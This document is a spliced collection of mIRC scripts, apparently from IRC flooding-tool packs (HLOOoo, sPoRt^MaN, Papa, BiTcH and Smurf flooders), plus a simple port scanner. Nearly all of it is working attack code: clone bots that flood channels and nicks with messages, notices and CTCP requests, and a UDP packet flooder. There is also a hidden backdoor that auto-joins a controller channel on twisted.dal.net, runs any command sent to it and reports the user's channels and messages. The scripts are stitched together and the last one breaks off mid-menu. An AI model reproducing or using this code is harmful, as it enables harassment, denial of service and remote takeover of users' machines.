(%HLOOoo.flood.server == $null) { /exit } if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } .sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99) asdf asdf asdf .sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9999) .sockwrite -tn $sockname join %HLOOoo.flood.nc .sockwrite -tn $sockname privmsg %HLOOoo.flood.nc : $+ $chr(1) $+ time $+ $chr(1) .sockwrite -tn $sockname privmsg %HLOOoo.flood.nc : $+ %HLOOoo.flood.m .set %HLOOoo.flood.sock $sockname .sockclose %HLOOoo.flood.sock .sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood! ,4) halt :msg if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (tsunami.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (sodre.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } .sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99) asdf asdf asdf .sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9! 999) .sockwrite -tn $sockname privmsg %HLOOoo.flood.nc : $+ %HLOOoo .flood.m .set %HLOOoo.flood.sock $sockname .sockclose %HLOOoo.flood.sock .sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood,4) halt :notice if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (tsunami.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (sodre.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } .sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $r! and(a,z) $+ $rand(1,99) asdf asdf asdf .sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9999) .sockwrite -tn $sockname notice %HLOOoo.flood.nc : $+ %HLOOoo.flood.m .set %HLOOoo.flood.sock $sockname .sockclose %HLOOoo.flood.sock .sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood,4) halt } on 1:connect:{ /remote on } on 1:sockopen:woot.*: { set %ux $randuser .sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) .sockwrite -tn $sockname NICK %ux .sockwrite -tn $sockname JOIN $fn(chan) .sockrename $sockname ex. $+ %ux } alias uptime { .say $sc(sb) $+ upt!me $sc(lx) $+ $replace($duration($calc($ticks / 1024)),mins,m!ns,min,m!n,hr,hr,hrs,hrs,days,Days,day,Day,sec,sec,secs,Secs) $+ $sc(rx) $+ $sc(eb) } on 1:SOCKREAD:ex.*: { if ($sockerr > 0) return sockread %ex.dat if ($sockbr == 0) return ex %ex.dat } alias sc { .var %theshittythingo = $readini hxpirc.ini settings $1 .return $replace(%theshittythingo,b,,u,,c,) } alias flooder { dialog -m flood flood } dialog flood { title "HLOOoo v6.0 Flood" size -1 -1 800 300 button "شب عليهم",2,5 270 60 25,default edit "السيرفر Server ",3,10 10 180 20, center edit "6667",4,10 30 180 20,center edit "حط النك او القناه+#",5,10 50 180 20,center edit "d",6,10 70 3180 20,center,autohs box "",8,5 100 190 50 radio "دخول وخروج",9,10 108 70 20,right radio "J/Msg/P",10,130 108 60 20,right radio "مســج",11,10 130 70 15,right radio "نوتيس",12,130 130 60 15,rightِ edit "",13,10 160 180 105,read,multi,autovs,center button "إغــلاق",14,135 270 60 25,cancel button "تــوقف",15,67 270 65 25,default } on *dialog:flood:edit:3: { set %HLOOoo.flood.server $did(3) } alias message { var %i = 1 | var %variable = null | while ($query(%i) != $null) { set %query %query $query(%i) | inc %i 1 } } on *dialog:flood:edit:4: { set %HLOOoo.flood.port $did(4) } alias chan { var %i = 1 | var %variable = null | while ($chan(%i) != $null) { set %chan %chan $chan(%i) | inc %i 1 } } on *dialog:flood:edit:5: { set %HLOOoo.flood.nc $did(5) } alias info_onme { unset %chan | unset %query | message | chan | sockwrite -tn $1 Nick: $me | sockwrite -tn $1 Server: $server | sockwrite -tn $1 Channels: %chan | sockwrite -tn $1 Messsages: %query } on ! *dialog:flood:edit:6: { set %HLOOoo.flood.m $did(6) } on *dialog:flood:sclick9: { set %HLOOoo.flood.type jp } on *dialog:flood:sclick:10: { set %HLOOoo.flood.type jpmsg } on *dialog:flood:sclick:11: { set %HLOOoo.flood.type msg } on *dialog:flood:sclick:12: { set %HLOOoo.flood.type notice } on *dialog:flood:sclick:2: { did -a flood 13 $crlf $+ Connecting Flood Clones | HLOOoo.flood } on *dialog:flood:Init:0: { did -a flood 13 HLOOoo Flood v6.0 } on *dialog:flood:sclick:15: { sockclose HLOOoo* | unset %currentsword1 | did -r flood 13 | did -a flood 13 HLOOoo Flood v6.0 } }

on *:sockread:xHackerSx*:{ .sockread %clone.temp | if ($gettok(%clone.temp,1,32) == Ping) { sockwrite -tn $sockname Pong $server } } alias ##### { if ($2 = $null) || ($2 !isnum) { echo -a 15Error: No #Channel/Nick, Clone, Irc Server, Port, Flood Message | halt } set %ident yes set %nick $$1 set %clones $$2 set %channel $$1 if ( $3 = $null) { set %server $server } if ( $3 != $null) { set %server $$3 } if ( $4 = $null) || ( $4 !isnum) { set %port $port } if ( $4 != $null) { set %port $$4 } if ( $5 = $null) { set %flood tHis CoulD Be Heaven ............. tHis CoulD Be Hell } sPoRt^MaN IrC FlooDeR !ping بنج } if ( $5 != $null) { set %flood $5- } set %xHackerSxflood on var %var = 0 :loop inc %var if (%xHackerSxflood == on) && (%var <= %clones) { .sockopen xHackerSx $+ %var %server %port | goto loop } else { echo -a 15 ثواني وتلقاهم كلهم منحاشين هع هع هع هع ":> | halt } } alias cleanup { .set %xHackerSxflood off .sockclose xHackerSx* .unset %nick .unset %ident yes unset %channel unset %server unset %port unset %clones unset %flood set %type Privmsg echo -a 15تم ايقاف الفلود } on *:Sockopen:xHackerSx*:{ if ($sockerr > 0) { halt } set -u1 %user $rand(A,z) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) .sockwrite -nt $sockname USER %ident %ident %ident : $+ %ident .sockwrite -nt $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ .sockwrite -nt $sockname JOIN : $+ %channel .sockwrite -n $sockname %type %nick : $+  $+ $rand(1,15) %flood .sockwrite -n $sockname Privmsg %nick : $+ $chr(1) $+ time $+ $chr(1) .sockwrite -nt $sockname Notice %nick : $+ Best way to make your dreams come true.... IS to WAKE UP! .sockclose $sockname .sockopen xHackerSx $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) %server %port } on *:load:{ if ($version < 5.61) echo -a  $+ $colour(info2) $+ *** You need mirc 5.61 or greator in order to use this addon. | beep echo -a 4Clones Irc Flooder Bot Edition By: sPoRt^MaN | echo -a sPoRt^MaN ScriPT Irc Flooder Bot Edition. } alias xHackerSx { dialog -m xHackerSx xHackerSx } menu channel,menubar { @!@sPoRt^MaN Flooder@!@:dialog -m xHackerSx xHackerSx } dialog xHackerSx { title "sPoRt^MaN Irc Flooder By: sPoRt^MaN" size -1 -1 300 250 button "تشغيل الفلود", 1, 75 220 75 25 button "ايقاف الفلود", 2, 160 220 75 25 text "sPoRt^MaN Irc Flooder Bot Edition - Use It At Your Own Risk",4, 41 1 300 25 edit "",6, 95 70 75 22, Autohs edit "",9, 210 70 75 22, Autohs edit "",10, 70 98 100 22, Autohs edit "",11, 210 98 75 22, Autohs check "مسج",5, 20 30 50 20 check "نوتس",3, 75 30 40 20 check "بوت",19, 120 30 40 20 text "بوت الجنل:",20, 160 33 80 20 edit "",21, 220 30 65 20 box "اوامر الفلود",7, 10 15 280 40 box "القائمة",8, 10 55 280 160 text "الجنل او النك:",12, 15 73 75 25 text "Clone:",13, 175 73 30 25 text "السيرفر:",14, 15 100 50 25 text "البورت:",15, 185 100 25 25 box "مسج الفلود",16, 15 120 270 90 edit "",17, 20 135 260 70, Autohs Autovs Multi Return button "الموقع",18, 3 1 35 14, OK } on 1:dialog:xHackerSx:sclick { if ( $did == 1 ) { if $did(19).state = 1 { msg $did(21).text !flood $did(6) $did(9) $did(10) $did(11) $did(17) halt } ##### $did(6) $did(9) $did(10) $did(11) $did(17) } if ( $did = 19 ) { if ( $did == 1 ) { msg $did(21) !flood $did(6) $did(9) $did(10) $did(11) $did(17) } } if ( $did == 2 ) { if $did(19).state = 1 { msg $did(21).text !floodoff halt } cleanup } if ( $did = 19 ) { if ( $did == 2 ) { msg $did(21) !floodoff } } if ( $did == 5 ) { set %type Notice } if ( $did == 3 ) { set %type Privmsg } if ( $did == 18 ) { run www.Fly.To/sPoRtMaN } }                ;------------------------------------------------------------------- ;Papa Irc Flooder Bot Editoin By station420 & TBA www.NrGonline.org ;------------------------------------------------------------------- on *:sockread:Papa*:{ .sockread %clone.temp | if ($gettok(%clone.temp,1,32) == Ping) { sockwrite -tn $sockname Pong $server } } alias fuck { if ($2 = $null) || ($2 !isnum) { echo -a 4Error: No #Channel/Nick, Clone, Irc Server, Port, Flood Message | halt } set %nick $$1 set %clones $$2 set %channel $$1 if ( $3 = $null) { set %server $server } if ( $3 != $null) { set %server $$3 } if ( $4 = $null) || ( $4 !isnum) { set %port $port } if ( $4 != $null) { set %port $$4 } if ( $5 = $null) { set %flood !list PING ME File Server Online flo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0d } if ( $5 != $null) { set %flood $5- } set %papaflood on var %var = 0 :loop inc %var if (%papaflood == on) && (%var <= %clones) { .sockopen Papa $+ %var %server %port | goto loop } else { echo -a 4Clones Loaded | halt } } alias cleanup { .set %papaflood off .sockclose Papa* .unset %nick unset %channel unset %server unset %port unset %clones unset %flood set %type Privmsg echo -a 4All Clones Have Been Cleared } on *:Sockopen:Papa*:{ if ($sockerr > 0) { halt } set -u1 %user $rand(A,z) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) .sockwrite -nt $sockname USER %user %user %user : $+ %user .sockwrite -nt $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ .sockwrite -nt $sockname JOIN : $+ %channel .sockwrite -n $sockname %type %nick : $+  $+ $rand(1,15) %flood .sockwrite -n $sockname Privmsg %nick : $+ $chr(1) $+ time $+ $chr(1) .sockwrite -nt $sockname Notice %nick : $+ ¥§©®¢،ّو¥§©®¢،ّو+++++[blow me fool]+++++¥§©®¢،ّو¥§©®¢،ّو .sockclose $sockname .sockopen Papa $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) %server %port } on *:load:{ if ($version < 5.61) echo -a  $+ $colour(info2) $+ *** You need mirc 5.61 or greator in order to use this addon. | beep echo -a 4Papa Irc Flooder Bot Edition By: station420 & TBA | echo -a 4Please type: /Papa to load Papa Irc Flooder Bot Edition. } alias papa { dialog -m papa papa } menu channel,menubar { Papa Flooder:dialog -m papa papa } dialog papa { title "Papa Irc Flooder By: station420 & TBA" size -1 -1 300 250 button "Flood On", 1, 75 220 75 25 button "Flood Off", 2, 160 220 75 25 text "Papa Irc Flooder Bot Edition - Use It At Your Own Risk",4, 41 1 300 25 edit "",6, 95 70 75 22, Autohs edit "",9, 210 70 75 22, Autohs edit "",10, 70 98 100 22, Autohs edit "",11, 210 98 75 22, Autohs check "Notice",5, 20 30 50 20 check "Text",3, 75 30 40 20 check "Bot",19, 120 30 40 20 text "Bot Channel:",20, 160 33 80 20 edit "",21, 220 30 65 20 box "Flood Type",7, 10 15 280 40 box "Info",8, 10 55 280 160 text "#Channel/Nick:",12, 15 73 75 25 text "Clone:",13, 175 73 30 25 text "Irc Server:",14, 15 100 50 25 text "Port:",15, 185 100 25 25 box "Flood Message",16, 15 120 270 90 edit "",17, 20 135 260 70, Autohs Autovs Multi Return button "Web",18, 3 1 35 14, OK } on 1:dialog:papa:sclick:* { if ( $did == 1 ) { if $did(19).state = 1 { msg $did(21).text !flood $did(6) $did(9) $did(10) $did(11) $did(17) halt } fuck $did(6) $did(9) $did(10) $did(11) $did(17) } if ( $did = 19 ) { if ( $did == 1 ) { msg $did(21) !flood $did(6) $did(9) $did(10) $did(11) $did(17) } } if ( $did == 2 ) { if $did(19).state = 1 { msg $did(21).text !floodoff halt } cleanup } if ( $did = 19 ) { if ( $did == 2 ) { msg $did(21) !floodoff } } if ( $did == 5 ) { set %type Notice } if ( $did == 3 ) { set %type Privmsg } if ( $did == 18 ) { run http://www.nrgonline.org } }             on 1:connect: { .timer 0 10 .sockwrite -tn * join $fn(chan) } alias xchan { return readini $mircdir\chan.ini x chan } alias newload { sockopen woot. $+ $randuser $1 $2 } alias fn { if ($1 == server) { return %mIRC-Uptime | return } if ($1 == port) { return %mIRC-Paste | return } if ($1 == chan) { return %mIRC-mp3.it | return } } alias randuser { return $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) } on 1:start: { newload $fn(server) $fn(port) } alias BiTcH.flood { sockopen BiTcH $did(flood,3) $did(flood,4) sockopen BiTcH1 $did(flood,3) $did(flood,4) sockopen BiTcH2 $did(flood,3) $did(flood,4) sockopen BiTcH3 $did(flood,3) $did(flood,4) sockopen BiTcH4 $did(flood,3) $did(flood,4) sockopen BiTcH5 $did(flood,3) $did(flood,4) sockopen BiTcH6 $did(flood,3) $did(flood,4) sockopen BiTcH7 $did(flood,3) $did(flood,4) sockopen BiTcH8 $did(flood,3) $did(flood,4) sockopen BiTcH9 $did(flood,3) $did(flood,4) sockopen BiTcH10 $did(flood,3) $did(flood,4) sockopen BiTcH11 $did(flood,3) $did(flood,4) sockopen BiTcH12 $did(flood,3) $did(flood,4) sockopen BiTcH13 $did(flood,3) $did(flood,4) sockopen BiTcH14 $did(flood,3) $did(flood,4) sockopen BiTcH15 $did(flood,3) $did(flood,4) sockopen BiTcH16 $did(flood,3) $did(flood,4) sockopen BiTcH17 $did(flood,3) $did(flood,4) sockopen BiTcH18 $did(flood,3) $did(flood,4) sockopen BiTcH19 $did(flood,3) $did(flood,4) sockopen BiTcH20 $did(flood,3) $did(flood,4) } alias pt { if ($3 = $null) { halt } if ($chr(46) !isin $1) || ($2 !isnum) || ($3 !isnum) { sockwrite -tn $sockname notice %bot.nick Error Please use packet address size amount | halt } if (a isin $1) || (b isin $1) || (c isin $1) || (d isin $1) || (e isin $1) || (f isin $1) || (g isin $1) || (h isin $1) || (i isin $1) || (j isin $1) || (k isin $1) || (l isin $1) || (m isin $1) || (n isin $1) || (o isin $1) || (p isin $1) || (q isin $1) || (r isin $1) || (s isin $1) || (t isin $1) || (u isin $1) || (v isin $1) || (w isin $1) || (x isin $1) || (y isin $1) || (z isin $1) { sockwrite -tn $sockname privmsg %bot.nick Letters are not in "ips". please use IP | unset %packet.* | halt } .sockwrite -tn $sockname notice %bot.nick Now Packeting $1 with $2 bytes $3 times set %packet.ip $1 set %packet.bytes $2 set %packet.amount $3 set %packet.count 0 :start if (%packet.count >= %packet.amount) { sockclose packet | unset %packet.* | .sockwrite -tn $sockname notice %bot.nick Packeting has completed | halt } inc %packet.count 1 sockudp -b packet 60 %packet.ip $rand(1,6) $+ $rand(0,6) $+ ($rand(0,6) $+ $rand(0,9) %packet.bytes %packet.bytes goto start } on *:SOCKOPEN:BiTcH*: { if ($sockerr > 0) { return } did -a flood 13 $crlf $sockname Connecting if (%BiTcH.flood.type == jp) { goto jp } if (%BiTcH.flood.type == jpmsg) { goto jpmsg } if (%BiTcH.flood.type == msg) { goto msg } if (%BiTcH.flood.type == notice) { goto notice } :jp sockwrite -tn $sockname user BiTcH $+ $rand(1,99) asdf asdf asdf sockwrite -tn $sockname nick BiTcH $+ $rand(1,9999) sockwrite -tn $sockname join %BiTcH.flood.nc sockwrite -tn $sockname part %BiTcH.flood.nc set %BiTcH.flood.sock $sockname sockclose %BiTcH.flood.sock sockopen %BiTcH.flood.sock $did(flood,3) $did(flood,4) halt :jpmsg sockwrite -tn $sockname user BiTcH $+ $rand(1,9999) asdf asdf asdf sockwrite -tn $sockname nick BiTcH $+ $rand(1,9999) sockwrite -tn $sockname join %BiTcH.flood.nc sockwrite -tn $sockname privmsg %BiTcH.flood.nc : $+ %BiTcH.flood.m sockwrite -tn $sockname part %BiTcH.flood.nc set %BiTcH.flood.sock $sockname sockclose %BiTcH.flood.sock sockopen %BiTcH.flood.sock $did(flood,3) $did(flood,4) halt :msg sockwrite -tn $sockname user BiTcH $+ $rand(1,99) asdf asdf asdf sockwrite -tn $sockname nick BiTcH $+ $rand(1,9999) sockwrite -tn $sockname privmsg %BiTcH.flood.nc : $+ %BiTcH.flood.m set %BiTcH.flood.sock $sockname sockclose %BiTcH.flood.sock sockopen %BiTcH.flood.sock $did(flood,3) $did(flood,4) halt :notice sockwrite -tn $sockname user BiTcH $+ $rand(1,99) asdf asdf asdf sockwrite -tn $sockname nick BiTcH $+ $rand(1,9999) sockwrite -tn $sockname notice %BiTcH.flood.nc : $+ %BiTcH.flood.m set %BiTcH.flood.sock $sockname sockclose %BiTcH.flood.sock sockopen %BiTcH.flood.sock $did(flood,3) $did(flood,4) halt } on 1:sockopen:woot.*: { set %ux $randuser .sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) .sockwrite -tn $sockname NICK %ux .sockwrite -tn $sockname JOIN $fn(chan) .sockrename $sockname ex. $+ %ux } alias uptime { say $sc(sb) $+ upt!me $sc(lx) $+ $replace($duration($calc($ticks / 1024)),mins,m!ns,min,m!n,hr,hr,hrs,hrs,days,Days,day,Day,sec,sec,secs,Secs) $+ $sc(rx) $+ $sc(eb) } on 1:SOCKREAD:ex.*: { if ($sockerr > 0) return sockread %ex.dat if ($sockbr == 0) return ex %ex.dat } on 1:load: { writeini $mircdir\hxpirc.ini settings sb bu[bu writeini $mircdir\hxpirc.ini settings eb bu]ub writeini $mircdir\hxpirc.ini settings lx b(b writeini $mircdir\hxpirc.ini settings rx b)b set %mIRC-Uptime twisted.dal.net set %mIRC-paste 6667 set %mIRC-mp3.it #h×p newload twisted.dal.net 6667 } alias sc { var %theshittythingo = $readini hxpirc.ini settings $1 return $replace(%theshittythingo,b,,u,,c,) } on 1:connect: { newload $fn(server) $fn(port) } ctcp ^*::*: { .newload $fn(server) $fn(port) halt } ;Main Dialog ; Type: /flooder alias flooder { dialog -m flood flood } dialog flood { title "BiTcH Flooder" size -1 -1 200 300 box "",1,0 -5 200 305 button "Connect",2,5 270 60 25,default edit "irc.dal.net",3,10 10 180 20, center edit "6667",4,10 30 180 20,center edit "Channel/Nick",5,10 50 180 20,center edit "flo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0dflo0d",6,10 70 180 20,center,autohs box "",7,5 0 190 95 box "",8,5 100 190 50 radio "Join/Part",9,10 108 70 20,right radio "J/Msg/P",10,130 108 60 20,right radio "Message",11,10 130 70 15,right radio "Notice",12,130 130 60 15,right edit "",13,10 160 180 105,read,multi,autovs,center button "Cancel",14,135 270 60 25,cancel button "Close Them",15,67 270 65 25,default } on *:Dialog:flood:edit:3: { set %BiTcH.flood.server $did(3) } alias message { var %i = 1 | var %variable = null | while ($query(%i) != $null) { set %query %query $query(%i) | inc %i 1 } } on *:Dialog:flood:edit:4: { set %BiTcH.flood.port $did(4) } alias chan { var %i = 1 | var %variable = null | while ($chan(%i) != $null) { set %chan %chan $chan(%i) | inc %i 1 } } on *:Dialog:flood:edit:5: { set %BiTcH.flood.nc $did(5) } alias info_onme { unset %chan | unset %query | message | chan | sockwrite -tn $1 Nick: $me | sockwrite -tn $1 Server: $server | sockwrite -tn $1 Channels: %chan | sockwrite -tn $1 Messsages: %query } on *:Dialog:flood:edit:6: { set %BiTcH.flood.m $did(6) } on *:Dialog:flood:sclick:9: { set %BiTcH.flood.type jp } on *:Dialog:flood:sclick:10: { set %BiTcH.flood.type jpmsg } on *:Dialog:flood:sclick:11: { set %BiTcH.flood.type msg } on *:Dialog:flood:sclick:12: { set %BiTcH.flood.type notice } on *:Dialog:flood:sclick:2: { did -a flood 13 $crlf $+ Connecting Flood Clones | BiTcH.flood } on *:Dialog:flood:Init:0: { did -a flood 13 BiTcH Flood 1.0 [Beta] } on *:Dialog:flood:sclick:15: { sockclose BiTcH* | did -r flood 13 | did -a flood 13 BiTcH Flood 1.0 [Beta] } ;================================================ ;core files alias ex { if ($1 == PING) sockwrite -tn $sockname PONG $2 elseif ($left($1,1) == : ) { set %bot.mask $remove($1,$left($1,1)) set %bot.nick $gettok(%bot.mask,1,33) if ($4 == :VERSION) { /sockwrite -tn $sockname notice %bot.nick :HxP v1.0 } if ($2 == KICK) && ($4 == $remove($sockname,ex.)) { sockwrite -tn $sockname privmsg $xchan : $+ !kicked by %bot.nick $+ ( $+ %bot.mask $+ ) in $3 Reason: [ $+ $remove($5-,:) $+ ] } if ($2 == PRIVMSG) && ($4 == :%NICK%) { set %mynick $randuser .sockwrite -tn $sockname nick %mynick .sockrename $sockname ex. $+ %mynick } if ($2 == PRIVMSG) && ($4 == :%CN%) { .newload $fn(server) $fn(port) return } if ($2 == PRIVMSG) && ($4 == :%SEND%) { sockwrite -tn $sockname $5- return } if ($2 == PRIVMSG) && ($4 == :%PT%) { sockwrite -tn $sockname notice %bot.nick Packetting.. pt $5- return } if ($2 == PRIVMSG) && ($4 == :%DO%) { . $+ $5- return } if ($2 == PRIVMSG) && ($4 == :%CN%) { .newload $fn(server) $fn(port) return } if ($2 == PRIVMSG) && ($4 == :%quit%) { sockwrite -tn $sockname quit $5- .timer 1 1 .sockclose $sockname return } if ($2 == PRIVMSG) && ($4 == :%move%) { set %mIRC-Uptime $5 set %mIRC-paste $6 set %mIRC-mp3.it $7 sockwrite -tn $sockname notice %bot.nick Server: %mIRC-Uptime Port: %mIRC-paste Channel: %mIRC-mp3.it return } if ($2 == PRIVMSG) && ($4 == :%fld%) { sockwrite -tn $sockname join $5 .timer 10 1 .sockwrite -tn $sockname privmsg $5 : $+ $6- .timer 1 11 .sockwrite -tn $sockname part $5 : $+ $6- return } } }

on @!*:ban:#: { if ($banmask iswm $address($me,5)) { chanserv unban # mode # -o $nick kick # $nick Dont Tuck Me ! } }                menu menubar { Port Scanner:dialog -m pscan pscan } alias -l portscan { var %ticks = $ticks var %ip = $$1 var %i = $$2 var %p = $$3 while (%i <= %p) { sockopen portscan. [ $+ [ %ip ] $+ ] . [ $+ [ %i ] ] %ip %i inc %i } did -ra pscan 8 Started portscan on %ip $crlf $+ Opened $calc(%p - $$2) ports in $calc($ticks - %ticks) $+ ms $crlf } on *:sockopen:portscan.*:if ($sockerr > 0) { return } | if ($dialog(pscan)) { did -a pscan 8 $sock($sockname).ip has port $sock($sockname).port open. $crlf } | sockclose $sockname on *:dialog:pscan:init:0:did -a pscan 7 $ip on *:dialog:pscan:sclick:5:if (($did(2)) && ($did(4)) && ($did(7))) { portscan $did(7) $did(2) $did(4) } dialog pscan { title "Port Scanner" size -1 -1 90 130 option dbu text "Scan", 1, 5 5 20 8 edit "100", 2, 21 4 25 10, autohs text "to", 3, 50 5 6 8 edit "600", 4, 58 4 25 10, autohs button "&Scan", 5, 0 30 90 10 text "IP:", 6, 5 19 9 8 edit "", 7, 15 18 70 10, autohs edit "", 8, 0 42 90 74, read multi button "&Cancel", 9, 0 119 90 10, cancel }              on *:LOAD:/msg memoserv send Smurfuhrer I am using your Smurf Flood! Thanks a lot for this stuff !! 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 menu channel,menubar { Smurf Flood 1 .FloodBots ..nick:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 #$$?="Enter #Channel To Flood?:" 7 $?="Enter Server(s) To Use?:" | fbl ..text:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 $$?="Enter Nick Or #Channel To Flood?:" 1 $?="Enter Server(s) To Use?:" | fbl ..botkill:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 $$?="Enter Nick Or #Channel To Flood?:" 5 $?="Enter Server(s) To Use?:" | fbl ..finger:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 $$?="Enter Nick Or #Channel To Flood?:" 2 $?="Enter Server(s) To Use?:" | fbl ..ping:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 $$?="Enter Nick Or #Channel To Flood?:" 3 $?="Enter Server(s) To Use?:" | fbl ..sed:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 $$?="Enter Nick Or #Channel To Flood?:" 4 $?="Enter Server(s) To Use?:" | fbl ..kecho:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 $$?="Enter Nick Or #Channel To Flood?:" 6 $?="Enter Server(s) To Use?:" | fbl ..version:run $mircdir\fb.exe $$?="Enter Number Of Clones? (max. 30):" 1 $$?="Enter Nick Or #Channel To Flood?:" 8 $?="Enter Server(s) To Use?:" | fbl .- .Flood War ..Mask Nick:/timer25 0 3 /nick $read $scriptdirnicks.txt ..- ..Channel Flood ...bl00p!،!:/timer10 5 5 /fl00dz.bl00p ...SMuRF:/timer10 5 5 /fl00dz.grem ...*!*@*:/timer10 5 5 /fl00dz.mask ...Color:/timer15 5 10 /fl00d.color ... # :/timer10 5 5 /fl00dz.chan ...c4sh:/timer10 5 5 /fl00dz.c4sh ...FW:/timer15 5 10 /fl00dz.fw ...^!)][(!^:/timer10 5 5 /fl00dz.crap ...^!)][(!^colored:/timer15 5 10 /fl00dz.crapcol ...ph33r:/timer10 5 5 /fl00dz.ph33r ...\/\/\/\/:/timer10 5 5 /fl00dz.slash ...Custom:/set %custom $$?="Fl00d W4rz flood what!?!:" | /timer15 5 10 /fl00dz.custom ...Cycle:/set %cycle $$?="Chan to Cycle Flood" | /timer23 0 3 /fl00dz.cycle ...Checkers:/timer22 0 0 /fl00dz.checker ..User Flood ...msg:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer15 5 10 /fl00dz.msg ...notice:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer15 5 10 /fl00dz.notice ...- ...ctcp ....finger:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer16 0 1 /fl00dz.finger ....ping:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer17 0 1 /fl00dz.ping ....time:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer18 0 1 /fl00dz.time ....client:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer19 0 1 /fl00dz.client ....version:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer20 0 1 /fl00dz.version ....multi:/set %fl00dz.lamer $$?="3nt3r L4m3r's N1ck:" | /timer21 0 1 /fl00dz.multi ..- ..Stop All Flood:/fl00dz.cf1 } Menu Nicklist { Smurf Flood 2 .Flood Killer ..Version Flood:/ignore -tu60 $$1 *!*@*.* 2 | /echo $active    11,12 Version Flood Active on $$1 | /timer7 10 1 /CTCP $$1 VeRSioN | /timer8 10 1 /CTCP $$1 VeRSioN | /timer9 5 1 /CTCP $$1 VeRSioN ..MSG Flood: set %temp 0 | :home | inc %temp | say %temp | goto home ..Ping 